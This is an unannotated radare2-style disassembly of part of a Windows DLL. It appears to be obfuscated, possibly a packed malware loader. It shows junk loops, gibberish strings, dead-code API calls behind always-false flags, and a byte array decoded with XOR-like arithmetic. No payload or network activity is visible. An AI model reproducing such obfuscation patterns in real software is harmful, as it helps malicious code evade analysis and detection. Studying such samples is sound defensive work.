mov dword [ebp - 0x62c], str.lmkowqwfn_qwkqbdhd_xkfgdwzp_otrn_icbe_jkoezta_oxvnxfiep_itqkrhwbw_slbr_cwnisa_pdguukms_rjlsjbhse_kyotkkz
cmp dword [ebp - 0x558], 0x65bf
jle 0x10007c84
and dword [ebp - 0x180], 0
jmp 0x10007ba0
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0x13a8
jge 0x10007c64
and dword [ebp - 0x220], 0
jmp 0x10007bc6
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0x70
jge 0x10007c5f
and dword [ebp - 0x188], 0
jmp 0x10007be9
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0x3731
jge 0x10007c5a
and dword [ebp - 0x270], 0
jmp 0x10007c0b
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 0x300f
jge 0x10007c58
mov eax, dword [ebp - 0x180]
imul eax, dword [ebp - 0x220]
cdq
idiv dword [ebp - 0x188]
or edx, dword [ebp - 0x270]
mov eax, edx
cdq
mov dword [ebp - 0x66c], eax
mov dword [ebp - 0x668], edx
push dword [ebp - 0x668]
push dword [ebp - 0x66c]
mov ecx, 0x1006d158
call fcn.100021b6
jmp 0x10007bfe
jmp 0x10007bdc
jmp 0x10007bb9
jmp 0x10007b93
push 0
push 0x1ac3
push 0x3f7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
mov dword [ebp - 0x5e0], 0xe974a520
mov dword [ebp - 4], 6
cmp dword [ebp - 0x558], 0x5e34
jge 0x10007cb1
mov edx, dword [ebp - 0x62c]
mov ecx, 0x1006d158
call fcn.100037d8
jmp 0x10007ccd
or dword [ebp - 4], 0xffffffff
jmp 0x10007cd7
mov dword [ebp - 0x3b8], 0x3843
mov dword [ebp - 0x6a0], str.vloxljfcu_chits_toxk_ldr_lkakvn_rcad_jivoblcar_rxzzswvjn_xmuuyuuxp_vtndhlokw_jsclq_zwghhhzta_ylgsneqlm_oldgimb
cmp dword [ebp - 0x3b8], 0x3a9c
jle 0x10007e04
and dword [ebp - 0x190], 0
jmp 0x10007d11
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0x5fd
jge 0x10007e04
and dword [ebp - 0x228], 0
jmp 0x10007d37
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0x1985
jge 0x10007dff
and dword [ebp - 0x198], 0
jmp 0x10007d5d
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0x6bb6
jge 0x10007dfa
and dword [ebp - 0x288], 0
jmp 0x10007d83
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0x2335
jge 0x10007df5
mov eax, dword [ebp - 0x190]
imul eax, dword [ebp - 0x228]
mov ecx, dword [ebp - 0x198]
sar eax, cl
xor eax, dword [ebp - 0x288]
cdq
mov dword [ebp - 0x678], eax
mov dword [ebp - 0x674], edx
push dword [ebp - 0x674]
push dword [ebp - 0x678]
lea ecx, [ebp - 0xa18]
call fcn.10001311
pop ecx
pop ecx
mov dword [ebp - 0x5d8], eax
mov ecx, dword [ebp - 0x5d8]
call fcn.1000150b
push eax
call fcn.1003bcd0
pop ecx
lea ecx, [ebp - 0xa18]
call fcn.10001501
jmp 0x10007d76
jmp 0x10007d50
jmp 0x10007d2a
jmp 0x10007d04
mov dword [ebp - 4], 8
cmp dword [ebp - 0x3b8], 0x35a1
jge 0x10007e23
push dword [ebp - 0x6a0]
call fcn.1003bcd0
pop ecx
jmp 0x10007e3f
or dword [ebp - 4], 0xffffffff
jmp 0x10007e49
mov dword [ebp - 0x5c], 0
jmp 0x10007e59
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 1
jge 0x10007e6f
mov eax, dword [ebp - 0x5c]
mov dword [ebp + eax*4 - 0x838], 0
jmp 0x10007e52
mov dword [ebp - 0x5c], 0
jmp 0x10007e7f
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 2
jge 0x10007e95
mov eax, dword [ebp - 0x5c]
mov dword [ebp + eax*4 - 0x868], 0xfffffff6
jmp 0x10007e78
mov dword [ebp - 0x74], 0
jmp 0x10007ea5
mov eax, dword [ebp - 0x74]
dec eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0xffffffe7
jle 0x10007ecc
mov byte [ebp - 0xa8], 0
movzx eax, byte [ebp - 0xa8]
test eax, eax
je 0x10007eca
push 0x2348
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jmp 0x10007e9e
mov dword [ebp - 0x74], 0
jmp 0x10007edc
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
jg 0x10007f50
mov dword [ebp - 0x3c0], 0xd87263b0
xor eax, eax
jne 0x10007f02
cmp dword [ebp - 0x5e0], 0
jne 0x10007f02
and dword [ebp - 0x738], 0
jmp 0x10007f0c
mov dword [ebp - 0x738], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x868]
mov dword [ebp - 0x840], eax
push 4
pop eax
test eax, eax
jne 0x10007f38
cmp dword [ebp - 0x3c0], 0
jne 0x10007f38
and dword [ebp - 0x4a8], 0
jmp 0x10007f42
mov dword [ebp - 0x4a8], 1
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x3c0], eax
jmp 0x10007ed5
lea eax, [ebp - 0x7bc]
push eax
lea ecx, [ebp - 0xa30]
call fcn.10013de1
mov dword [ebp - 0x5e8], eax
mov eax, dword [ebp - 0x5e8]
mov dword [ebp - 0x6ac], eax
mov dword [ebp - 4], 0xa
push dword [ebp - 0x6ac]
call fcn.10004b7d
pop ecx
mov dword [ebp - 0x45c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa30]
call fcn.10003e9e
mov dword [ebp - 0x848], 0xfffffff6
mov dword [ebp - 0x850], 0xfffffffb
mov dword [ebp - 0x8f4], 0xfffffffd
mov dword [ebp - 0x8fc], 0xffffffff
mov dword [ebp - 0x904], 0x7cefa9d1
mov dword [ebp - 0x90c], 0xa162c9cc
mov dword [ebp - 0x940], 0x38c08872
mov dword [ebp - 0x948], 0x44d0289a
mov dword [ebp - 0x950], 0xfffffffb
mov dword [ebp - 0x958], 0xb5f0b101
mov dword [ebp - 0x960], 1
mov dword [ebp - 0x968], 0xb5c6f8b8
mov dword [ebp - 0x9ac], 0xfc36
mov dword [ebp - 0x520], 0xfffffff6
mov dword [ebp - 0x1a0], 0
jmp 0x10008041
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 3
jge 0x1000805d
mov eax, dword [ebp - 0x1a0]
mov dword [ebp + eax*4 - 0xb2c], 0xbb8bffbe
jmp 0x10008034
mov eax, dword [ebp - 0x520]
dec eax
mov dword [ebp - 0x520], eax
and dword [ebp - 0x1b8], 0
jmp 0x10008080
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0xd
jae 0x1000843d
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x4b0], 7
mov dword [ebp - 0x3d8], 0xe13ca4d9
mov dword [ebp - 0x3f8], 9
mov dword [ebp - 0x5f8], 0x782ecc90
mov dword [ebp - 0x230], 0
jmp 0x100080d5
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 1
jge 0x100080ee
mov eax, dword [ebp - 0x230]
mov dword [ebp + eax*4 - 0x44], 0x8eac8b13
jmp 0x100080c8
mov dword [ebp - 0x18], 0
jmp 0x100080fe
mov eax, dword [ebp - 0x18]
dec eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jl 0x10008277
mov dword [ebp - 0x1a8], 0x1fe77dd6
mov dword [ebp - 0x5f0], 0xcaf14c90
mov dword [ebp - 0x1a8], 0
jmp 0x10008135
mov eax, dword [ebp - 0x1a8]
dec eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0
jl 0x10008272
mov dword [ebp - 0x5f0], 0xf6b8f3d4
mov dword [ebp - 0x3c8], 0x78bc
mov dword [ebp - 0x718], str.ypqg_xxy_xevhembry_mbuazuux_dnkd_hshea_tvh_bhent_rkncaeq_ipvdvfsg_qucjiq
cmp dword [ebp - 0x3c8], 0x7af4
jle 0x10008218
and dword [ebp - 0x238], 0
jmp 0x10008186
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0x75fa
jge 0x10008218
and dword [ebp - 0x278], 0
jmp 0x100081ac
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 0x573b
jge 0x10008213
and dword [ebp - 0x1b0], 0
jmp 0x100081ce
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0x3c59
jge 0x10008211
mov eax, dword [ebp - 0x278]
add eax, dword [ebp - 0x1b0]
or eax, dword [ebp - 0x238]
cdq
mov dword [ebp - 0x684], eax
mov dword [ebp - 0x680], edx
push dword [ebp - 0x680]
push dword [ebp - 0x684]
mov ecx, 0x1006d158
call fcn.100021b6
jmp 0x100081c1
jmp 0x1000819f
jmp 0x10008179
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x44], 0
je 0x10008224
jmp 0x10008272
mov dword [ebp - 4], 0xb
cmp dword [ebp - 0x3c8], 0x7528
jge 0x10008247
mov edx, dword [ebp - 0x718]
mov ecx, 0x1006d158
call fcn.100037d8
jmp 0x10008263
or dword [ebp - 4], 0xffffffff
jmp 0x1000826d
jmp 0x10008128
jmp 0x100080f7
mov dword [ebp - 0x18], 0
jmp 0x10008287
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jg 0x10008428
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x44], 0
jne 0x10008357
mov dword [ebp - 0x4b0], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x44]
cmp eax, dword [ebp - 0x4b0]
jne 0x100082c4
mov dword [ebp - 0x3d0], 1
jmp 0x100082cb
and dword [ebp - 0x3d0], 0
cmp dword [ebp - 0x3d0], 0xfffffff6
jg 0x100082e0
mov dword [ebp - 0x56c], 1
jmp 0x100082e7
and dword [ebp - 0x56c], 0
mov eax, dword [ebp - 0x56c]
mov dword [ebp - 0x3d8], eax
mov eax, dword [ebp - 0x3d8]
mov dword [ebp - 0x980], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp + ecx*4 - 0x44]
cmp ecx, dword [ebp + eax*4 - 0x44]
jg 0x1000831b
mov dword [ebp - 0x4b8], 1
jmp 0x10008322
and dword [ebp - 0x4b8], 0
cmp dword [ebp - 0x4b8], 0x3132d683
jge 0x1000833a
mov dword [ebp - 0x3e0], 1
jmp 0x10008341
and dword [ebp - 0x3e0], 0
mov eax, dword [ebp - 0x3e0]
sub eax, 0x1b96df66
jne 0x10008357
and dword [ebp - 0x528], 0
jmp 0x10008361
mov dword [ebp - 0x528], 1
cmp dword [ebp - 0x528], 1
jne 0x10008376
mov dword [ebp - 0x3e8], 1
jmp 0x1000837d
and dword [ebp - 0x3e8], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x44]
cmp dword [ebp - 0x3e8], eax
jne 0x10008398
mov dword [ebp - 0x4c0], 1
jmp 0x1000839f
and dword [ebp - 0x4c0], 0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x4c0]
sub ecx, dword [ebp + eax*4 - 0x44]
jne 0x100083c1
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x44], 0
jne 0x100083c1
and dword [ebp - 0x3f0], 0
jmp 0x100083cb
mov dword [ebp - 0x3f0], 1
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x3f0], eax
jge 0x100083e2
mov dword [ebp - 0x560], 1
jmp 0x100083e9
and dword [ebp - 0x560], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x560]
sub edx, dword [ebp + ecx*4 - 0x44]
imul edx, dword [ebp + eax - 0x44]
mov dword [ebp - 0x3f8], edx
imul eax, dword [ebp - 0x3f8], 0xffffffff
mov dword [ebp - 0x5f8], eax
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x44], 0
je 0x10008423
jmp 0x10008280
jmp 0x10008280
xor eax, eax
mov ecx, dword [ebp - 0x1b8]
mov word [ebp + ecx*2 - 0x7bc], ax
jmp 0x10008073
mov dword [ebp - 0x70], 1
mov dword [ebp - 0x4c8], 1
mov dword [ebp - 0x290], 0
jmp 0x10008467
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 1
jge 0x10008483
mov eax, dword [ebp - 0x290]
mov dword [ebp + eax*4 - 0x898], 0xca63
jmp 0x1000845a
mov dword [ebp - 0x70], 0
jmp 0x10008493
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
jg 0x100084b5
mov byte [ebp - 0xaa], 0
movzx eax, byte [ebp - 0xaa]
test eax, eax
je 0x100084b3
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
jmp 0x1000848c
mov dword [ebp - 0x70], 0
jmp 0x100084c5
mov eax, dword [ebp - 0x70]
dec eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
jl 0x100084e4
mov dword [ebp - 0x8d8], 0xb9ae77ab
mov eax, dword [ebp - 0x4c8]
dec eax
mov dword [ebp - 0x4c8], eax
jmp 0x100084be
cmp dword [ebp - 0x45c], 0
je 0x1000a87e
mov dword [ebp - 0xc8], 0xfffffffd
mov dword [ebp - 0x1c0], 0
jmp 0x10008514
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 1
jge 0x10008530
mov eax, dword [ebp - 0x1c0]
mov dword [ebp + eax*4 - 0x400], 0x8eac8b13
jmp 0x10008507
mov byte [ebp - 0xa1], 0
movzx eax, byte [ebp - 0xa1]
test eax, eax
je 0x1000854a
push 0
call dword [sym.imp.GDI32.dll_GetObjectType]
mov dword [ebp - 0xc8], 0
jmp 0x10008563
mov eax, dword [ebp - 0xc8]
dec eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0
jl 0x10008588
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp + eax*4 - 0x400]
mov ecx, dword [ebp - 0xc8]
mov dword [ebp + ecx*4 - 0x400], eax
jmp 0x10008556
mov dword [ebp - 0x1c8], 8
mov dword [ebp - 0x240], 0
jmp 0x100085ab
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 2
jge 0x100085c7
mov eax, dword [ebp - 0x240]
mov dword [ebp + eax*4 - 0x874], 0xb57e8b72
jmp 0x1000859e
mov dword [ebp - 0x1c8], 0
jmp 0x100085e0
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 3
je 0x100088c9
mov dword [ebp - 0xfc], 0x2edc7555
mov dword [ebp - 0xfc], 0
jmp 0x10008610
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 2
jge 0x1000862c
mov eax, dword [ebp - 0xfc]
mov dword [ebp + eax*4 - 0x874], 0xcefa9d19
jmp 0x10008603
mov dword [ebp - 0x530], 0x1138
mov dword [ebp - 0x6b8], str.zihck_isznpqvz_mfysdmsmv_ibingvawq_vthb_gocjwgu_kjiqkw_lmconsen_dbisvtoz_jnqe
cmp dword [ebp - 0x530], 0x11a2
jle 0x1000872c
and dword [ebp - 0x248], 0
jmp 0x10008666
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0x4c9f
jge 0x1000872c
and dword [ebp - 0x1d8], 0
jmp 0x1000868c
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 0x2156
jge 0x10008727
and dword [ebp - 0x298], 0
jmp 0x100086b2
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 0x5fda
jge 0x10008722
and dword [ebp - 0x1d0], 0
jmp 0x100086d4
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0x47c6
jge 0x10008720
mov eax, dword [ebp - 0x298]
cdq
idiv dword [ebp - 0x1d0]
mov eax, dword [ebp - 0x248]
xor eax, dword [ebp - 0x1d8]
xor eax, edx
cdq
mov dword [ebp - 0x690], eax
mov dword [ebp - 0x68c], edx
push dword [ebp - 0x68c]
push dword [ebp - 0x690]
mov ecx, 0x1006d158
call fcn.100021b6
jmp 0x100086c7
jmp 0x100086a5
jmp 0x1000867f
jmp 0x10008659
mov byte [ebp - 0x9d], 0
mov dword [ebp - 4], 0xd
cmp dword [ebp - 0x530], 0x111b
jge 0x10008756
mov edx, dword [ebp - 0x6b8]
mov ecx, 0x1006d158
call fcn.100037d8
jmp 0x10008772
or dword [ebp - 4], 0xffffffff
jmp 0x1000877c
mov dword [ebp - 0x408], 0xc5b
mov dword [ebp - 0x600], str.kvkdfhf_bgyngrb_cdhgnypis_qweksavh_mnwe_laqtlsumb
cmp dword [ebp - 0x408], 0xef2
jle 0x1000886a
push 0xa61
push 0x2301
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
and dword [ebp - 0x284], 0
jmp 0x100087d4
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 0x4c65
jge 0x1000886a
and dword [ebp - 0x1e0], 0
jmp 0x100087fa
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0x77b0
jge 0x10008865
and dword [ebp - 0x250], 0
jmp 0x1000881c
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0x303c
jge 0x10008863
mov eax, dword [ebp - 0x284]
mov ecx, dword [ebp - 0x1e0]
shl eax, cl
mov ecx, dword [ebp - 0x250]
shl eax, cl
cdq
mov dword [ebp - 0x69c], eax
mov dword [ebp - 0x698], edx
push dword [ebp - 0x698]
push dword [ebp - 0x69c]
mov ecx, 0x1006d158
call fcn.100021b6
jmp 0x1000880f
jmp 0x100087ed
jmp 0x100087c7
movzx eax, byte [ebp - 0x9d]
test eax, eax
je 0x1000887b
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 4], 0xf
cmp dword [ebp - 0x408], 0xaf3
jge 0x1000889e
mov edx, dword [ebp - 0x600]
mov ecx, 0x1006d158
call fcn.100037d8
jmp 0x100088ba
or dword [ebp - 4], 0xffffffff
jmp 0x100088c4
jmp 0x100085d3
mov byte [ebp - 0x138], 0xc
mov byte [ebp - 0x137], 0xa0
mov byte [ebp - 0x136], 2
mov byte [ebp - 0x135], 7
mov byte [ebp - 0x134], 4
mov byte [ebp - 0x133], 6
mov byte [ebp - 0x132], 1
mov byte [ebp - 0x131], 0x17
mov byte [ebp - 0x130], 0
mov byte [ebp - 0x12f], 0x22
mov byte [ebp - 0x12e], 3
mov byte [ebp - 0x12d], 0x17
mov byte [ebp - 0x12c], 7
mov byte [ebp - 0x12b], 0x11
mov byte [ebp - 0x12a], 6
mov byte [ebp - 0x129], 0x22
mov byte [ebp - 0x128], 0xd
mov byte [ebp - 0x127], 0x10
mov byte [ebp - 0x126], 8
mov byte [ebp - 0x125], 0x17
mov byte [ebp - 0x124], 0xb
mov byte [ebp - 0x123], 1
mov byte [ebp - 0x122], 9
mov byte [ebp - 0x121], 1
mov byte [ebp - 0x120], 0xa
mov byte [ebp - 0x11f], 0x16
mov byte [ebp - 0x11e], 3
mov byte [ebp - 0x11d], 0xd4
mov byte [ebp - 0x11c], 0x7b
mov byte [ebp - 0x11b], 0x9f
mov byte [ebp - 0x11a], 5
mov byte [ebp - 0x119], 0x1d
mov dword [ebp - 0x54], 0x36444696
mov dword [ebp - 0x538], 0xffffffff
mov dword [ebp - 0x1e8], 0xfffffffc
mov dword [ebp - 0x2c4], 0x142b622b
mov dword [ebp - 0x73c], 1
cmp dword [ebp - 0x54], 0
jne 0x100089ea
mov dword [ebp - 0x420], 1
jmp 0x100089f1
and dword [ebp - 0x420], 0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x7cc], eax
mov eax, dword [ebp - 0x54]
sub eax, 0xe1f379d
cmp eax, dword [ebp - 0x54]
je 0x10008a13
mov dword [ebp - 0x4d0], 1
jmp 0x10008a1a
and dword [ebp - 0x4d0], 0
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x54]
jne 0x10008a29
cmp dword [ebp - 0x54], 0
imul eax, dword [ebp - 0x54], 0xfffd
cmp eax, dword [ebp - 0x1e8]
jl 0x10008a44
mov dword [ebp - 0x410], 1
jmp 0x10008a4b
and dword [ebp - 0x410], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x410], eax
jle 0x10008a62
mov dword [ebp - 0x574], 1
jmp 0x10008a69
and dword [ebp - 0x574], 0
mov eax, dword [ebp - 0x1e8]
cmp dword [ebp - 0x574], eax
jg 0x10008a89
cmp dword [ebp - 0x1e8], 0
jne 0x10008a89
and dword [ebp - 0x418], 0
jmp 0x10008a93
mov dword [ebp - 0x418], 1
cmp dword [ebp - 0x418], 0x2006
je 0x10008aab
mov dword [ebp - 0x4d8], 1
jmp 0x10008ab2
and dword [ebp - 0x4d8], 0
cmp dword [ebp - 0x1e8], 0
je 0x10008acd
cmp dword [ebp - 0x54], 0
je 0x10008acd
mov dword [ebp - 0x428], 1
jmp 0x10008ad4
and dword [ebp - 0x428], 0
mov eax, dword [ebp - 0x420]
mov dword [ebp - 0x538], eax
mov eax, dword [ebp - 0x538]
cmp eax, dword [ebp - 0x428]
je 0x10008afa
mov dword [ebp - 0x4e0], 1
jmp 0x10008b01
and dword [ebp - 0x4e0], 0
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x2c4], eax
mov eax, dword [ebp - 0x2c4]
mov dword [ebp - 0x73c], eax
mov byte [ebp - 0x99], 0
movzx eax, byte [ebp - 0x99]
test eax, eax
je 0x10008b38
push 0x12f2
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x138]
and eax, 0xd3
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x138]
or ecx, 0xd3
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x138]
mov byte [ebp + eax - 0x5c8], cl
mov dword [ebp - 0x4c], 0xe2db58e4
mov dword [ebp - 0xe8], 0xdc8dfba2
mov dword [ebp - 0x610], 0x22a5
mov dword [ebp - 0x2e4], 0xfffffffc
mov dword [ebp - 0x7a0], 0xf20b
mov dword [ebp - 0x79c], 0xf20b
mov dword [ebp - 0x798], 0xf20b
mov dword [ebp - 0x794], 0xf20b
mov dword [ebp - 0x294], 0
jmp 0x10008bdc
mov eax, dword [ebp - 0x294]
inc eax
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 2
jge 0x10008bf8
mov eax, dword [ebp - 0x294]
mov dword [ebp + eax*4 - 0x58c], 0
jmp 0x10008bcf
cmp dword [ebp - 0x4c], 0
je 0x10008c13
mov dword [ebp - 0x608], 3
mov eax, dword [ebp - 0x608]
mov dword [ebp - 0x4c], eax
jmp 0x10008c37
mov byte [ebp - 0xa9], 0
movzx eax, byte [ebp - 0xa9]
test eax, eax
je 0x10008c37
push 0xfef
push 0xe14
push 0
call dword [sym.imp.USER32.dll_DeleteMenu]
cmp dword [ebp - 0x4c], 0
jne 0x10008c52
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jne 0x10008c52
and dword [ebp - 0x2d4], 0
jmp 0x10008c5c
mov dword [ebp - 0x2d4], 1
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0xe8], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xe8]
cmp ecx, dword [ebp + eax - 0x58c]
jl 0x10008c89
mov dword [ebp - 0x2cc], 1
jmp 0x10008c90
and dword [ebp - 0x2cc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x58c]
cmp dword [ebp - 0x2cc], eax
je 0x10008cb1
mov dword [ebp - 0x2dc], 1
jmp 0x10008cb8
and dword [ebp - 0x2dc], 0
mov eax, dword [ebp - 0x2d4]
inc eax
cmp eax, dword [ebp - 0x2dc]
jg 0x10008cd3
mov dword [ebp - 0x6c4], 1
jmp 0x10008cda
and dword [ebp - 0x6c4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x58c]
mov dword [ebp - 0x93c], eax
cmp dword [ebp - 0x610], 0
je 0x10008da6
mov dword [ebp - 0x5cc], 0xffffffff
mov dword [ebp - 0x4c], 0
jmp 0x10008d14
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0x1a
jle 0x10008d69
mov dword [ebp - 0x774], 0x5764361a
mov dword [ebp - 0x770], 0x5764361a
mov dword [ebp - 0x76c], 0x5764361a
mov dword [ebp - 0x768], 0x5764361a
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x774], 0
je 0x10008d54
jmp 0x10008d69
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x774]
mov dword [ebp - 0x5cc], eax
jmp 0x10008d0d
mov byte [ebp - 0x9b], 0
movzx eax, byte [ebp - 0x9b]
test eax, eax
je 0x10008da1
push 0
push 0
push 0
push 0x1454
push 0x1f27
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
jmp 0x10008f27
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0xf8], 0xfd6b2214
mov eax, dword [ebp - 0x8c]
cmp eax, dword [ebp - 0x8c]
jl 0x10008dd4
mov dword [ebp - 0x2f4], 1
jmp 0x10008ddb
and dword [ebp - 0x2f4], 0
cmp dword [ebp - 0x2e4], 0
jne 0x10008df0
mov dword [ebp - 0x2ec], 1
jmp 0x10008df7
and dword [ebp - 0x2ec], 0
mov eax, dword [ebp - 0x2e4]
cmp dword [ebp - 0x2ec], eax
jl 0x10008e11
mov dword [ebp - 0x2fc], 1
jmp 0x10008e18
and dword [ebp - 0x2fc], 0
mov eax, dword [ebp - 0x2f4]
sub eax, dword [ebp - 0x2fc]
cmp eax, 0x653e
jne 0x10008e3c
xor eax, eax
inc eax
je 0x10008e3c
mov dword [ebp - 0x304], 1
jmp 0x10008e43
and dword [ebp - 0x304], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0xe8], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xe8]
add ecx, dword [ebp - 0x8c]
cmp ecx, dword [ebp + eax - 0x58c]
jne 0x10008e76
mov dword [ebp - 0x30c], 1
jmp 0x10008e7d
and dword [ebp - 0x30c], 0
cmp dword [ebp - 0x30c], 0xfffb
jne 0x10008e95
mov dword [ebp - 0x314], 1
jmp 0x10008e9c
and dword [ebp - 0x314], 0
mov eax, dword [ebp - 0x314]
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x8c], 0x15
jmp 0x10008ec1
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0x28
jne 0x10008f27
mov dword [ebp - 0x618], 1
mov dword [ebp - 0xf8], 0
jmp 0x10008eed
mov eax, dword [ebp - 0xf8]
dec eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0xffffffff
je 0x10008f25
mov byte [ebp - 0xa3], 0
movzx eax, byte [ebp - 0xa3]
test eax, eax
je 0x10008f10
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7a0]
mov dword [ebp - 0x618], eax
jmp 0x10008ee0
jmp 0x10008eb4
mov dword [ebp - 0x24], 2
and dword [ebp - 0xf0], 0
jmp 0x10008f3f
cmp dword [ebp - 0x24], 0x20
jae 0x10009aac
mov dword [ebp - 0x7d4], 0xfffffff9
mov dword [ebp - 0x8e0], 0x7730f94f
